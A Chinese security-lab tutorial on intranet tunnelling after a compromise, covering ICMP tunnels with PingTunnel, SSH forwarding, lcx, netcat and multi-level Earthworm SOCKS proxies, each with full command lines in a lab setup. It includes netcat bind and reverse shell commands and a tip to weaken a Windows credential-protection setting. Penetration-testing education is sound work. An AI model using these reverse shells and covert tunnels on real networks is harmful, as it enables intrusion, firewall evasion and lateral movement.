戟星安全实验室

忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约6000字,阅读约需15分钟。

0x00 前言

在实际环境中,会有各种网络设备、防火墙以及入侵检测系统阻止外网与内网的通信,我们构建内网隐蔽通道来突破安全策略的限制,实现对目标机器的控制。当我们在外网成功getshell之后,可以通过端口转发、内网穿透等方式进一步入侵内网,当我们取得内网机器时可以通过隧道来绕过防火墙等。

0x01 ICMP隧道搭建

PingTunnel

建立 ICMP 隧道,将 TCP/UDP 数据封装到 ICMP 的 ping 数据包中,从而穿过防火墙(防火墙一般不会屏蔽 ping 的数据包)。

拓扑:

192.168.111.129(攻击机)—>192.168.111.132/10.10.10.129(跳板机)—>10.10.10.10(目标)

当我们拿到web服务器权限准备内网时,就可以搭建隧道,这里跳板机充当web服务器。

环境配置:

192.168.111.129(攻击机kali,与本机同一网段)
192.168.111.132/10.10.10.10(跳板机centos7)
10.10.10.10(目标)

操作步骤:

跳板机centos7操作:

ptunnel -x zzz

pingtunnel在kali上已经集成好了,直接使用就可以:

ptunnel -p 192.168.111.20 -lp 6666 -da 10.10.10.20 -dp 3389 -x zzz
-p 指定ICMP隧道另一端的IP
-lp:指定本地监听的端口
-da:指定要转发的目标机器的IP
-dp:指定要转发的目标机器的端口
-x:指定连接密码

隧道已经搭建,我们在kali上直接rdp连接自身的ip和8888端口其实就是连接目标的3389了

这里用跟kali同网段的本机测试

成功连接

这里本机rdp证书可能会出现问题,如果报“出现身份验证错误,要求的函数不支持”错误的话,需要去策略编辑器修改

”gpedit.msc“调出本地组策略编辑器

找到“管理模板”-“系统“-”凭证分配”-“加密数据库修正”,启用并将保护级别选择“易受攻击”

最后如果是Linux机器可以尝试22端口,windows则为演示的3389端口

0x02 SSH隧道

一般情况下,SSH协议是允许通过防火墙和边界设备的,而且SSH协议的传输过程是加密的,所以很难区分合法的SSH会话和攻击者利用其他网络建立的隧道。我们使用SSH端口隧道突破防火墙后可以建立一些之前无法建立的TCP连接。

参数:

-C:压缩传输,提高传输速度
-f:将SSH传输转入后台执行,不占用当前的Shell
-N:建立静默连接(建立了连接,但是看不到具体会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发(SOCKS代理)
-P:指定SSH端口

环境搭建:

攻击机kali:192.168.111.129
跳板机centos7:192.168.111.131/10.10.10.129
目标机pc:10.10.10.201

本地转发:

以centos7为跳板,将内网主机的3389端口映射到攻击机的6666端口,此时访问攻击机的6666端口,就可以访问内网主机的3389端口了

操作步骤:

在攻击机上操作

ssh -CfNg -L 攻击机端口 : 目标ip : 目标端口 root@192.168.111.131(跳板机)

远程转发:

以centos7为跳板,将攻击机的5555端口的流量转发到内网主机的3389端口,然后访问攻击机的5555端口,就可以访问内网主机的3389端口了

操作步骤:

在跳板机上操作

ssh -CfNg -R 5555(攻击机端口):目标ip:3389(目标端口) root@192.168.111.129(攻击机ip)

0x03 LCX端口转发

lcx 是一个基于Socket套接字实现的端口转发工具,有Windows和Linux两个版本。Windows 版为lcx.exe, Linux 版为portmap。一个正常的Socket隧道必须具备两端:一端为服务端,监听一个端口,等待客户端的连接;另一端为客户端;通过传人服务端的IP地址和端口,才能主动与服务器连接。

工具下载地址

  • https://github.com/Brucetg/Pentest-tools/tree/master/

环境搭建:

192.168.111.201(目标机器)
192.168.111.80(攻击机)

内网端口转发:

执行方法:

目标机器执行:

lcx.exe -slave 攻击机IP地址 9999 127.0.0.1 3389

VPS执行:

lcx.exe -listen 9999 10000

完成后,在本机上远程连接攻击机的10000端口或是在攻击机本地远程连接127.0.0.1的10000端口即可远程连接到目标机器

操作步骤:

目标机器执行:

攻击机执行:

完成后我们在本机rdp攻击机+端口或攻击机rdp自身+端口就可以远程连接到目标机器了

本地端口映射:

如果目标防火墙不允许3389通过,那么我们可以将目标的相应端口转发到可以通过防火墙的端口,比如53端口,然后直接远程53端口就可以连接到目标机器

执行方法:

目标机器执行:

lcx -tran 53 目标IP地址 3389

操作步骤:

目标机器执行:

然后本机直接远程目标53端口即可

0x04 netcat

使用方法:

d:后台模式
e:程序重定向
g 网关:设置路由器跃程通信网关,最多可设置8个
G 指向器数目:设置源路由指向器的数量,值为4的倍数
h:帮助
i 延迟秒数 :设置时间间隔,以便传送信息及扫描通信端口
l:使用监听模式,管理和控制传人的数据
n:直接使用IP地址(不通过域名服务器)
o 输出文件:指定文件名称,把往来传输的数据转换为十六进制字节码后保存在该文件中
p 通信端口:设置本地主机使用的通信端口
r:随机指定本地与远程主机的通信端口
s 源地址:设置本地主机送出数据包的IP地址
u:使用UDP传输协议
v:详细输出
w 超时秒数:设置等待连线的时间
z:将输人/输出功能关闭,只在扫描通信端口时使用

端口扫描:

nc -v ip port 扫指定端口

文件传输:

接收方:

nc -lvvp 7777

发送方:

nc -vn 192.168.111.129 7777 < 1.txt -q l

聊天:

接收方:

nc -lvvp 7777

发送方:

nc -vn 192.168.111.129 7777

正向shell:

目标机器:

Linux:nc -lvvp 8888 -e /bin/sh
Windows:nc -lvp 4444 -e c:\windows\system32\cmd.exe

攻击机器:

nc 目标ip 8888

反向shell:

目标机器:

Linux:nc 192.168.220.165 9999 -e /bin/sh
Windows:nc 192.168.220.165 9999 -e C:\windows\system32\cmd.exe

攻击机:

nc -lvp 9999

0x05 Earthworm

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式搭建一条网络隧道。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内。

下载地址:

  • https://github.com/idlefire/ew

使用方法:

该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)

例如:./xxx -s ssocksd -h
-s 指定工作模式。工作模式支持如下:
ssocksd , rcsocks , rssocks ,lcx_listen , lcx_tran , lcx_slave

ssocksd 创建正向socks代理服务端,监听在本地,直接把当前环境socks代理出去。
rssocks 创建反向socks代理服务端
rcsocks 反向socks代理客户端
lcx_tran 正向tcp端口转发,监听在本地
lcx_slave 反向tcp转发客户端
lcx_listen 反向tcp服务端
-l listenport为服务器打开一个监听端口。
-d refhost 设置反射主机地址。
-e refport 设置反射端口。
-f connhost 设置连接主机地址。
-g connport 设置连接端口。
-h help 显示帮助文本,通过添加 -s 参数,您还可以查看更详细的帮助。
-a about 显示关于页面
-v version 显示版本。
-t usectime 设置超时的毫秒数。 默认的值为 1000

正向代理:

适用于被控主机存在公网ip且可以任意开启监听端口

环境搭建:

攻击机kali:192.168.111.129
被控主机win7:192.168.111.201/10.10.10.201
内网机器2003:10.10.10.10

操作步骤:

将exe传入被控主机,在被控主机开启监听端口

ew_for_Win.exe -s ssocksd -l 6666

在kali使用proxifier工具连接ew

配置文件—代理服务器—添加

填入被控主机ip和监听端口,选择socks5

然后就可以rdp内网机器了

反向代理:

目标网络边界不存在公网IP,能够访问内网资源,可以访问公网,需要通过反弹方式创建 socks 代理

环境搭建:

攻击机kali:192.168.111.129
被控主机win7:192.168.111.201/10.10.10.201
内网机器2003:10.10.10.10

操作步骤:

在vps上添加隧道,将6666收到的代理请求转发到反向连接8888端口的被控机器

./ew_for_linux64 -s rcsocks -l 6666 -e 8888

被控机器执行

ew_for_Win.exe -s rssocks -d 192.168.111.129 -e 8888

当vps出现下图时说明成功

再使用proxifier连接vps监听的端口

配置文件—代理服务器—添加

填入vps ip和监听端口,选择socks5

然后就可以rdp内网机器了

二级代理(一):

在获得边界服务器 被控机器1 的shell后,通过横向到内网1中的 被控机器2 ,发现 被控机器2 同时还存在另一个内网2,但 被控机器2 所处的内网2无法访问公网,公网也无法访问 被控机器2 所在内网2 ,但是 被控机器2 可以单向访问 被控机器1 ,这时需要把 被控机器2 所在的内网2的流量代理出来。

环境搭建:

攻击机(本机):192.168.111.1
vps(kali):192.168.111.129
被控主机1(win7):192.168.111.134/10.10.10.200
被控主机2(win7PC):192.168.48.129/10.10.10.201
内网主机(2003):192.168.48.128

操作步骤:

在VPS(kali)上添加隧道,通过ewlcx_listen模块监听本机6666端口,将6666端口收到的代理请求转发到反连8888端口的主机:

ew_for_Win.exe -s lcx_listen -l 6666 -e 8888

被控机器1上启动监听本机端口9999,并将9999端口接收到的代理流量,转发给vps的8888端口:

ew_for_Win.exe -s lcx_tran -l 被控主机1本机端口 -f 攻击者的公网vps_IP -g 8888

在被控机器2启动SOCKS v5代理服务端,并反弹到被控机器1的8888端口 :

ew_for_Win.exe -s rssocks -d 10.10.10.200 -e 9999

再使用proxifier连接vps监听的端口

配置文件—代理服务器—添加

填入vps ip和监听端口,选择socks5

然后就可以rdp内网机器了

二级代理(二):

在获得边界服务器被控机器1的webshell后,发现被控机器1没有公网IP,但处于边界的被控机器1可访问公网;攻击者通过横向移动到内网1中的被控机器2,发现被控机器2同时处于另一个内网2中,但被控机器2所处的内网2无法访问公网,公网也无法访问被控机器2所在内网2 ,但处于边界的被控主机1却可以单向访问被控机器2所处的内网2,这时需要把被控机器2所在的内网2的流量代理出来。

环境搭建:

攻击机(本机):192.168.111.1
vps(kali):192.168.111.129
被控主机1(win7):192.168.111.134/10.10.10.200
被控主机2(win7PC):192.168.48.129/10.10.10.201
内网主机(2003):192.168.48.128

操作步骤:

vps添加转接隧道,通过ewlcx_listen模块监听本机的6666端口,把6666端口接受到的代理请求,转发到反连8888端口的主机:

ew_for_Win.exe -s lcx_listen -l 6666 -e 8888

内网2中的被控机器2上通过ssocksd模块,开启正向代理服务,通过ssocksd模块监听被控机器2的9999端口,通过正向代理,把外流量引向内网:

ew_for_Win.exe -s ssocksd -l 9999

内网1中的被控机器1运行以下命令,通过ew的lcx_slave流量转发模块,将正向连接到vps的8888端口,而获得的代理请求流量,转发给内网2被控机器2,从而获得内网2的内网流量:

ew_for_Win.exe -s lcx_slave -d 攻击者的公网vps_IP -e 8888 -f 处于2级内网的被控主机 -g 9999

再使用proxifier连接vps监听的端口

配置文件—代理服务器—添加

填入vps ip和监听端口,选择socks5

然后就可以rdp内网机器了

三级代理:

内网主机 A 没有公网 IP ,但是可以访问外网,内网主机 B 不能访问外网,但是可以和 A 相互访问,内网主机 C 能访问内网资源,但是只能和 B 相互访问,我们如果想访问内网资源就需要做三层代理。

vps—>内网主机A—>内网主机B—>内网主机C

操作步骤:

在公网 VPS 上,将 1080 端口收到的代理请求转发到 4444 端口

ew_for_linux64 -s rcsocks -l 1080 -e 4444

在内网主机 A 上,将 VPS 的 4444 端口和内网主机 B 的 5555 端口连接起来

./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f
192.168.7.110 -g 5555

在内网主机 B 上,将 5555 端口收到的代理请求转发到 6666 端口上

.\ew_for_Win.exe -s lcx_listen -l 5555 -e 6666

在内网主机 C 上,启动 socks5 服务,并反弹到 B 主机的 6666 端口上

.\ew_for_Win.exe -s rssocks -d 192.168.7.110 -e 6666

之后访问VPS的1080端口就可以访问到内网资源了

-END-

忆享科技戟星安全实验室|内网隧道技术,你知道几个?相关推荐

  1. 忆享科技戟星安全实验室|内网渗透神器-Viper的基本使用

    戟星安全实验室 忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试.代码审计.应急响应.漏洞研究.威胁情报.安全运维.攻防演练等 本文约1200字,阅读约需4分钟. 0x00 介绍 vipe ...

  2. 忆享科技戟星安全实验室|互联网资产搜集平台大全

    戟星安全实验室 忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试.代码审计.应急响应.漏洞研究.威胁情报.安全运维.攻防演练等 本文约4517字,41图,阅读约需12分钟. 前言 想着对资 ...

  3. 忆享科技戟星安全实验室|五分钟学会挖矿病毒的应急响应

    戟星安全实验室 忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试.代码审计.应急响应.漏洞研究.威胁情报.安全运维.攻防演练等 本文约1790字,阅读约需5分钟. 0x00 前言 随着虚拟 ...

  4. 忆享科技戟星安全实验室|从零开始Burpsuite 插件开发

    戟星安全实验室 忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试.代码审计.应急响应.漏洞研究.威胁情报.安全运维.攻防演练等. 本文约4500字,阅读约需12分钟. 0x00  前言 扩 ...

  5. 内网安全学习从入门到入狱-知识-内网隧道技术小结

    文章目录 0x00 内网穿透技术 0x01 首先判断出网协议 0x02 各种协议隧道 网络层 ICMP隧道 Lcx 传输层 瑞士军刀:nc Powercat(powershell版的nc) 推荐:ne ...

  6. 忆享科技:从产业初布局到品牌新升级的企业蜕变

    成都忆享科技有限公司(www.weops.com)成立于2015年,是一家智能信息化综合解决方案服务供应商,业务范围包括云化IT服务.云计算升级服务.互联网平台应用设计.软件服务外包(ITO).微信及 ...

  7. 再添新彩!忆享科技成为腾讯蓝鲸智云官方服务商

    近日,忆享科技成为腾讯蓝鲸智云官方技术合作伙伴,为企业再添新彩!作为腾讯蓝鲸智云官方合作伙伴,忆享科技享有腾讯蓝鲸专家级技术支持,参与蓝鲸领跑计划,拓展业务,提高企业核心竞争力,与腾讯蓝鲸一起为客户提 ...

  8. 忆享科技连续亮相“京沪深”三地2021GOPS全球运维盛会

    11月18日,第十七届 GOPS 全球运维大会在上海中庚聚龙酒店拉开帷幕,忆享科技携最新升级产品"忆享蓝鲸"参加本次盛会,聆听一线资讯,学习业内最佳实践,交流前沿技术创新,紧握行业 ...

  9. 忆享科技企业内刊第六期精彩发布

    内刊速览 忆享科技企业内刊2023年第一季度季刊(总第6期)发布啦! 本期内容聚焦企业焦点新闻,关注企业动态,设置了焦点新闻.产品解析.企业文化等栏目,一起阅读精彩内容! 扫描下方二维码阅读详情

最新文章

  1. Python操作Redis的5种数据类型
  2. SAP CRM Fiori应用My Opportunity标题显示不正确的问题分析
  3. Jackson、JSON-lib、Gson性能对比
  4. catia利用宏批量改名的方法_谁有CATIA批量改名的宏程序啊
  5. Eclipse中使用Junit编写测试用例
  6. DKH大数据整体解决方案的优势介绍
  7. APP运营推广超级攻略(2015新版)
  8. 最新win10安装版激活方法 一键激活win10
  9. Android实现简单日历
  10. 原生js写简易别踩白块儿
  11. 北理大编程作业:确定母亲节
  12. 对ABAP程序调优的学习(一)select 改 read table
  13. 华为交换机配置时区_华为交换机配置命令
  14. 【豆知识】C语言中转义字符“\a”是什么意思?
  15. 记一次服务器故障带来的网站降权恢复记录
  16. 0667-6.2.0-什么是Cloudera虚拟私有集群和SDX
  17. 头盔-看完就不会买错的VR头盔攻略:VR头盔到底选哪个?
  18. C\C++开发的经典魔塔小游戏--(3)主要逻辑处理,角色控制
  19. 【转帖】WebRTC回声抵消模块简要分析
  20. 元认知能力-认知的理解

热门文章

  1. c#购物车功能实现,用户登录及收藏功能实现
  2. TikTok变现玩法分析
  3. 31 实战 上海地铁的一天动态可视化
  4. NPOI导出数值格式设置(我是保留四位小数,不足补0)
  5. java 计算日期相差天数_JAVA计算两个日期之间相差的天数
  6. 【机器学习|数学基础】Mathematics for Machine Learning系列之矩阵理论(6):子空间的交与和
  7. linux dwm 中文输入法,我最近在dwm上安装中文输入法fcitx。但是遇到了一些问题。...
  8. 算法和数据结构(golang语言实现)
  9. 第三阶段应用层——2.7 视频监控—从零写CMOS摄像头驱动
  10. 想搭建自己的网站,应该从哪处入手呢?选择什么样配置的服务器捏?通过哪些手段赚取足够的维护网